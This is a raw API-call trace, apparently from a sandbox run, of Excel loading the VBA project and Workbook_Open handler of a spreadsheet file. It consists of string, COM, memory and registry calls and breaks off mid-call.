lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0078.901] lstrcpyA (in: lpString1=0xc3f8d20, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0078.901] lstrcpynA (in: lpString1=0xc3f8d80, lpString2="Workspace", iMaxLength=256 | out: lpString1="Workspace") returned="Workspace" [0078.902] lstrlenA (lpString="46, 46, 1460, 694, Z") returned 20 [0078.902] lstrcpyA (in: lpString1=0xc3f8fc0, lpString2="46, 46, 1460, 694, Z" | out: lpString1="46, 46, 1460, 694, Z") returned="46, 46, 1460, 694, Z" [0078.902] lstrlenA (lpString="0, 0, 0, 0, C") returned 13 [0078.902] lstrcpyA (in: lpString1=0xc3f9140, lpString2="0, 0, 0, 0, C" | out: lpString1="0, 0, 0, 0, C") returned="0, 0, 0, 0, C" [0078.902] CExposedStream::Stat () returned 0x0 [0078.902] CExposedStream::Read () returned 0x0 [0078.902] CExposedStream::Release () returned 0x0 [0078.902] lstrcpyA (in: lpString1=0xcd1df90, lpString2="" | out: lpString1="") returned="" [0078.903] lstrcmpiA (lpString1="ThisWorkbook", lpString2="ThisWorkbook") returned 0 [0078.903] lstrlenA (lpString="ThisWorkbook") returned 12 [0078.903] lstrcpyA (in: lpString1=0xc3f8aa0, lpString2="" | out: lpString1="") returned="" [0078.903] lstrcmpiA (lpString1="Sheet1", lpString2="Sheet1") returned 0 [0078.903] lstrlenA (lpString="Sheet1") returned 6 [0078.903] atoi (_Str="393222000") returned 393222000 [0078.903] lstrcpynA (in: lpString1=0xcd1cb4c, lpString2="{67C1920E-94D6-4769-9740-C74923EC17F0}", iMaxLength=39 | out: lpString1="{67C1920E-94D6-4769-9740-C74923EC17F0}") returned="{67C1920E-94D6-4769-9740-C74923EC17F0}" [0078.903] StringFromGUID2 (in: rguid=0x7fee5df78a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0x75d1958, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39 [0078.903] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{67C1920E-94D6-4769-9740-C74923EC17F0}") returned -1 [0078.904] lstrlenA (lpString="{67C1920E-94D6-4769-9740-C74923EC17F0}") returned 38 [0078.904] lstrlenA (lpString="{67C1920E-94D6-4769-9740-C74923EC17F0}") returned 38 [0078.904] lstrlenA (lpString="{67C1920E-94D6-4769-9740-C74923EC17F0}") returned 38 [0078.904] CExposedStream::Commit () returned 0x0 [0078.904] CExposedStream::Release () returned 0x0 [0078.904] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0078.905] lstrlenA (lpString="&H00000001") returned 10 [0078.905] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0078.905] lstrcmpiA (lpString1="&H00000001", lpString2="&H00000001") returned 0 [0078.906] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0078.906] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0078.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc3f9910, cbMultiByte=-1, lpWideCharStr=0x270ee0, cchWideChar=39 | out: lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 39 [0078.906] CLSIDFromString (in: lpsz="{3832D640-CF90-11CF-8E43-00A0C911005A}", pclsid=0xc3f9e2c | out: pclsid=0xc3f9e2c*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a))) returned 0x0 [0078.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc3f9937, cbMultiByte=-1, lpWideCharStr=0x270ed0, cchWideChar=4 | out: lpWideCharStr="VBE") returned 4 [0078.907] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0078.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0078.907] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0078.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=11, lpWideCharStr=0x75dc4e8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0078.907] lstrlenA (lpString="VBAProject") returned 10 [0078.907] GetCurrentThreadId () returned 0x92c [0078.907] GetCurrentThreadId () returned 0x92c [0078.907] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb5bacf0 [0078.907] GetCursorPos (in: lpPoint=0x2710c0 | out: lpPoint=0x2710c0*(x=562, y=564)) returned 1 [0078.907] GetCapture () returned 0x0 [0078.907] WindowFromPoint (Point=0x23400000232) returned 0x1024a [0078.907] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0078.907] SendMessageA (hWnd=0x1024a, Msg=0x84, wParam=0x0, lParam=0x2340232) returned 0x1 [0078.907] SendMessageA (hWnd=0x1024a, Msg=0x20, wParam=0x1024a, lParam=0x2000001) returned 0x1 [0081.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3D_5684_DOC20181101014.xls_.xls", cchWideChar=-1, lpMultiByteStr=0xc3f9910, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3D_5684_DOC20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 32 [0081.316] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0081.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0081.316] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0081.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=11, lpWideCharStr=0x75dc4e8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0081.316] lstrlenA (lpString="VBAProject") returned 10 [0081.316] lstrcatA (in: lpString1="VBAProject", lpString2=" (" | out: lpString1="VBAProject (") returned="VBAProject (" [0081.316] strncat_s (in: _Destination="VBAProject (", _SizeInBytes=0x187, _Source="3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x28 | out: _Destination="VBAProject (3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0081.316] lstrcatA (in: lpString1="VBAProject (3D_5684_DOC20181101014.xls_.xls", lpString2=")" | out: lpString1="VBAProject (3D_5684_DOC20181101014.xls_.xls)") returned="VBAProject (3D_5684_DOC20181101014.xls_.xls)" [0081.317] _wfullpath (in: _Buffer=0x2743b0, _Path="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" [0081.317] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", lpString2="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0 [0081.318] lstrcmpiW (lpString1="ThisWorkbook", lpString2="ThisWorkbook") returned 0 [0081.318] IMalloc:Alloc (This=0x7feffc15380, cb=0xa8) returned 0xb189270 [0081.318] IMalloc:Alloc (This=0x7feffc15380, cb=0x7f40) returned 0xb82c6d0 [0081.318] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0xb4d17a0 [0081.326] lstrcmpiW (lpString1="Sheet1", lpString2="ThisWorkbook") returned -1 [0081.327] lstrlenA (lpString="ThisWorkbook") returned 12 [0081.327] lstrlenA (lpString="ThisWorkbook") returned 12 [0081.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x274640, cbMultiByte=-1, lpWideCharStr=0xc3f7ed0, cchWideChar=13 | out: lpWideCharStr="ThisWorkbook") returned 13 [0081.327] lstrcmpiW (lpString1="Sheet1", lpString2="ThisWorkbook") returned -1 [0081.327] lstrcmpiW (lpString1="Sheet1", lpString2="Sheet1") returned 0 [0081.328] IMalloc:Alloc (This=0x7feffc15380, cb=0xa8) returned 0xb190120 [0081.328] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0xb4bf2a0 [0081.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x274510, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0081.328] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0081.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x274500, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0081.328] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0081.328] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb684ac0 [0081.328] qsort (in: _Base=0xb684ac0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c | out: _Base=0xb684ac0) [0081.328] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1 [0081.328] bsearch (_Key=0x273438, _Base=0xb684ac0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0xb684ac8 [0081.328] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0081.329] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0081.329] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb684ec0 [0081.329] CLSIDFromString (in: lpsz="{00020819-0000-0000-C000-000000000046}", pclsid=0xb684ec0 | out: pclsid=0xb684ec0*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.329] IMalloc:Free (This=0x7feffc15380, pv=0xb084a90) [0081.330] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb70ab60 [0081.384] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb709b10 [0081.384] IMalloc:Free (This=0x7feffc15380, pv=0xb684ec0) [0081.385] IMalloc:Free (This=0x7feffc15380, pv=0xb70ab60) [0081.386] IMalloc:Free (This=0x7feffc15380, pv=0xb709b10) [0081.386] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb709b10 [0081.386] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb70ab60 [0081.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x274510, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0081.387] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0081.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x274500, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0081.387] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0081.387] bsearch (_Key=0x273438, _Base=0xb684ac0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0xb684ac0 [0081.387] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 2 [0081.387] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0xb719920 [0081.388] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x7466170 [0081.388] CLSIDFromString (in: lpsz="{00020820-0000-0000-C000-000000000046}", pclsid=0x7466170 | out: pclsid=0x7466170*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.388] IMalloc:Free (This=0x7feffc15380, pv=0xb084a30) [0081.388] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb70af80 [0081.388] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb70abc0 [0081.389] IMalloc:Free (This=0x7feffc15380, pv=0x7466170) [0081.389] IMalloc:Free (This=0x7feffc15380, pv=0xb70af80) [0081.389] IMalloc:Free (This=0x7feffc15380, pv=0xb70abc0) [0081.389] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb70abc0 [0081.389] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb70af80 [0081.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x898b\x7a4d\x308a\x20", cchWideChar=-1, lpMultiByteStr=0xc3f9180, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="??? ", lpUsedDefaultChar=0x0) returned 5 [0081.391] lstrlenA (lpString="Sheet1") returned 6 [0081.391] lstrlenA (lpString="Sheet1") returned 6 [0081.391] lstrcatA (in: lpString1="Sheet1", lpString2=" (" | out: lpString1="Sheet1 (") returned="Sheet1 (" [0081.391] strncat_s (in: _Destination="Sheet1 (", _SizeInBytes=0x187, _Source="??? ", _MaxCount=0x28 | out: _Destination="Sheet1 (??? ") returned 0x0 [0081.391] lstrlenA (lpString="??? ") returned 4 [0081.391] lstrcatA (in: lpString1="Sheet1 (??? ", lpString2=")" | out: lpString1="Sheet1 (??? )") returned="Sheet1 (??? )" [0081.445] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x72b3320 [0081.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27ead0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0081.446] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0081.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27ead0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0081.456] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0081.456] IMalloc:Realloc (This=0x7feffc15380, pv=0x72b3320, cb=0x62) returned 0xb719bc0 [0081.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x27efa0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0081.456] _mbscpy_s (in: _Dst=0x27edf0, _DstSizeInBytes=0xe, _Src=0x6762cfe | out: _Dst=0x27edf0) returned 0x0 [0081.456] _mbscpy_s (in: _Dst=0x27edf9, _DstSizeInBytes=0x5, _Src=0x27efa0 | out: _Dst=0x27edf9) returned 0x0 [0081.456] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook_Open") returned 0x10e19b [0081.459] IUnknown:AddRef (This=0xb1d1370) returned 0x3 [0081.460] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0x27f2d0 | out: phkResult=0x27f2d0*=0xd74) returned 0x0 [0081.460] RegQueryValueExA (in: hKey=0xd74, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0x27f2c8, lpcbData=0x27f2c0*=0x4 | out: lpType=0x0, lpData=0x27f2c8*=0xb4, lpcbData=0x27f2c0*=0x4) returned 0x2 [0081.460] RegCloseKey (hKey=0xd74) returned 0x0 [0081.515] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1370, ppTLibAttr=0x27f2d8, pDummy=0x27f2c8 | out: ppTLibAttr=0x27f2d8, pDummy=0x27f2c8*=0xb084f58) returned 0x0 [0081.516] StringFromCLSID (in: rclsid=0x4d86030*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lplpsz=0x27f2b8 | out: lplpsz=0x27f2b8*="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0081.516] CoTaskMemFree (pv=0xb1b32a0) [0081.518] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1370) returned 0x0 [0081.518] IUnknown:QueryInterface (in: This=0xb1d1370, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27f378 | out: ppvObject=0x27f378*=0x0) returned 0x80004002 [0081.518] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1370, ppTLibAttr=0x27f368, pDummy=0x10 | out: ppTLibAttr=0x27f368, pDummy=0x10) returned 0x0 [0081.518] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1370) returned 0x0 [0081.518] IUnknown:Release (This=0xb1d1370) returned 0x2 [0081.518] IUnknown:AddRef (This=0xb1d0560) returned 0xb [0081.518] ITypeLib:RemoteGetLibAttr (in: This=0xb1d0560, ppTLibAttr=0x27f2d8, pDummy=0xb3b2820 | out: ppTLibAttr=0x27f2d8, pDummy=0xb3b2820*=0xe5df7268) returned 0x0 [0081.518] StringFromCLSID (in: rclsid=0x4d86030*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lplpsz=0x27f2b8 | out: lplpsz=0x27f2b8*="{00020813-0000-0000-C000-000000000046}") returned 0x0 [0081.518] CoTaskMemFree (pv=0xb1b32a0) [0081.518] ITypeLib:LocalReleaseTLibAttr (This=0xb1d0560) returned 0x0 [0081.518] IUnknown:QueryInterface (in: This=0xb1d0560, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27f378 | out: ppvObject=0x27f378*=0x0) returned 0x80004002 [0081.518] ITypeLib:RemoteGetLibAttr (in: This=0xb1d0560, ppTLibAttr=0x27f368, pDummy=0x10 | out: ppTLibAttr=0x27f368, pDummy=0x10) returned 0x0 [0081.518] ITypeLib:LocalReleaseTLibAttr (This=0xb1d0560) returned 0x0 [0081.518] IUnknown:Release (This=0xb1d0560) returned 0xa [0081.518] IUnknown:AddRef (This=0xb1d1910) returned 0x4 [0081.518] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1910, ppTLibAttr=0x27f2d8, pDummy=0xb3b2820 | out: ppTLibAttr=0x27f2d8, pDummy=0xb3b2820*=0xe5df7268) returned 0x0 [0081.518] StringFromCLSID (in: rclsid=0x4d86030*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lplpsz=0x27f2b8 | out: lplpsz=0x27f2b8*="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0081.518] CoTaskMemFree (pv=0xb1b32a0) [0081.518] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1910) returned 0x0 [0081.519] IUnknown:QueryInterface (in: This=0xb1d1910, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27f378 | out: ppvObject=0x27f378*=0x0) returned 0x80004002 [0081.519] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1910, ppTLibAttr=0x27f368, pDummy=0x10 | out: ppTLibAttr=0x27f368, pDummy=0x10) returned 0x0 [0081.519] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1910) returned 0x0 [0081.519] IUnknown:Release (This=0xb1d1910) returned 0x3 [0081.519] IUnknown:AddRef (This=0x6fed880) returned 0x2 [0081.519] ITypeLib:RemoteGetLibAttr (in: This=0x6fed880, ppTLibAttr=0x27f2d8, pDummy=0xb3b2820 | out: ppTLibAttr=0x27f2d8, pDummy=0xb3b2820*=0xe5df7268) returned 0x0 [0081.519] StringFromCLSID (in: rclsid=0x4d86030*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lplpsz=0x27f2b8 | out: lplpsz=0x27f2b8*="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0081.519] CoTaskMemFree (pv=0xb1b32a0) [0081.519] ITypeLib:LocalReleaseTLibAttr (This=0x6fed880) returned 0x0 [0081.519] IUnknown:QueryInterface (in: This=0x6fed880, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27f378 | out: ppvObject=0x27f378*=0x0) returned 0x80004002 [0081.519] ITypeLib:RemoteGetLibAttr (in: This=0x6fed880, ppTLibAttr=0x27f368, pDummy=0x10 | out: ppTLibAttr=0x27f368, pDummy=0x10) returned 0x0 [0081.519] ITypeLib:LocalReleaseTLibAttr (This=0x6fed880) returned 0x0 [0081.519] IUnknown:Release (This=0x6fed880) returned 0x1 [0081.519] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb6851e0 [0081.519] IMalloc:Free (This=0x7feffc15380, pv=0xb6851e0) [0081.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27ebf0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0081.520] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0081.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27ebf0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0081.529] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0081.532] _mbscpy_s (in: _Dst=0x27e930, _DstSizeInBytes=0x5, _Src=0x6762b16 | out: _Dst=0x27e930) returned 0x0 [0081.532] _mbscpy_s (in: _Dst=0x27e930, _DstSizeInBytes=0x6, _Src=0x6762b3e | out: _Dst=0x27e930) returned 0x0 [0081.532] _mbscpy_s (in: _Dst=0x27e930, _DstSizeInBytes=0x8, _Src=0x6762c06 | out: _Dst=0x27e930) returned 0x0 [0081.532] _mbscpy_s (in: _Dst=0x27e930, _DstSizeInBytes=0x7, _Src=0x6762c2e | out: _Dst=0x27e930) returned 0x0 [0081.532] _mbscpy_s (in: _Dst=0x27e930, _DstSizeInBytes=0x6, _Src=0x6762bde | out: _Dst=0x27e930) returned 0x0 [0081.532] _mbscpy_s (in: _Dst=0x27e930, _DstSizeInBytes=0x8, _Src=0x6762c56 | out: _Dst=0x27e930) returned 0x0 [0081.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015db8060a", cchWideChar=11, lpMultiByteStr=0x27ef00, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015db8060a", lpUsedDefaultChar=0x0) returned 11 [0081.533] GetLocalTime (in: lpSystemTime=0x27efe8 | out: lpSystemTime=0x27efe8*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x4, wDay=0x1, wHour=0x9, wMinute=0x1b, wSecond=0x28, wMilliseconds=0x27c)) [0081.533] _ultow_s (in: _Value=0x5db8060c, _Buffer=0xb56d9fc, _BufferCount=0x9, _Radix=16 | out: _Buffer="5db8060c") returned 0x0 [0081.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035db8060c", cchWideChar=11, lpMultiByteStr=0x27ef40, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035db8060c", lpUsedDefaultChar=0x0) returned 11 [0081.533] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb30c930 [0081.533] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x7569ed0 [0081.533] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x7569e10 [0081.533] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x75e6a30 [0081.533] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x75e6590 [0081.534] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb5feba0 [0081.534] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5f3090, cb=0x800) returned 0xb583a00 [0081.534] IMalloc:Free (This=0x7feffc15380, pv=0xb5feba0) [0081.534] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb5feba0 [0081.534] IMalloc:Free (This=0x7feffc15380, pv=0xb5feba0) [0081.535] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb5feba0 [0081.535] IMalloc:Free (This=0x7feffc15380, pv=0xb5feba0) [0081.535] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb5feba0 [0081.535] IMalloc:Free (This=0x7feffc15380, pv=0xb5feba0) [0081.535] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb5feba0 [0081.535] IMalloc:Free (This=0x7feffc15380, pv=0xb5feba0) [0081.535] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb5feba0 [0081.535] IMalloc:Free (This=0x7feffc15380, pv=0xb5feba0) [0081.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x27ed80, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0081.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0081.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27e9a0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0081.536] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0081.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27e9a0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0081.545] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0081.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b16, cbMultiByte=5, lpWideCharStr=0x27ed20, cchWideChar=10 | out: lpWideCharStr="tess") returned 5 [0081.546] _mbscpy_s (in: _Dst=0x27ed60, 